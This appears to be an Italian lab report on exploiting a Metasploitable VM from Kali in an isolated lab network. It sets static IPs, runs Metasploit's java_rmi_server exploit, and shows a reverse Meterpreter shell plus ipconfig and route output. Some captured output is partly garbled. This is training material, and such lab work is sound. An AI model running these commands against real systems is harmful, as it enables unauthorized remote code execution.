

Table of Contents

Impostazione IP.....2

Esecuzione dell’exploit.....2

Raccolta dati.....3

Impostazione IP

Su macchina Kali, l'IP statico richiesto, 192.168.11.111, è assegnato modificando il file di configurazione di rete tramite comando “sudo nano /etc/network/interfaces”:

```
File Actions Edit View Help
GNU nano 7.2
# This file describes the network int
# and how to activate them. For more

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
#address 192.168.50.100/24
#gateway 192.168.50.1
address 192.168.11.111/24
gateway 192.168.11.1
```

Dopo la modifica, vengono lanciati i comandi “sudo ifdown eth0” e “sudo ifup eth0” per rendere disponibili le modifiche senza riavvio.

Questa procedura viene replicata su Metasploitable per configurare l'IP statico richiesto, 192.168.11.112.

Esecuzione dell'exploit

I seguenti comandi impostano quale exploit usare e l'impostazione dell'IP target.

use exploit/multi/misc/java_rmi_server

set RHOSTS 192.168.11.112

exploit

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/eD4P6gDDw
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:58517) at 2024-04-07 15:16:25 -0400

meterpreter > |
```

Raccolta dati

```
meterpreter > ipconfig ope host lo
valid_lft forever preferred_lft fo
Interface 1
=====
Name : lo - lo
Hardware MAC : 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
IPv4 Address : 127.0.0.124 brd 127.0.0.255
IPv4 Netmask : 255.0.0.0 preferred_lft forever
IPv6 Address : ::1 27ff:feeb:7ef5/64 sco
IPv6 Netmask : f::f forever preferred_lft forever

---(KaliS.kali) [~]
Interface 2
=====
Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe57:d53c
IPv6 Netmask : ::
```

```
meterpreter > route
feeb:7ef5/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1    255.0.0.0    0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::
fe80::a00:27ff:fe57:d53c ::           ::
meterpreter > 
```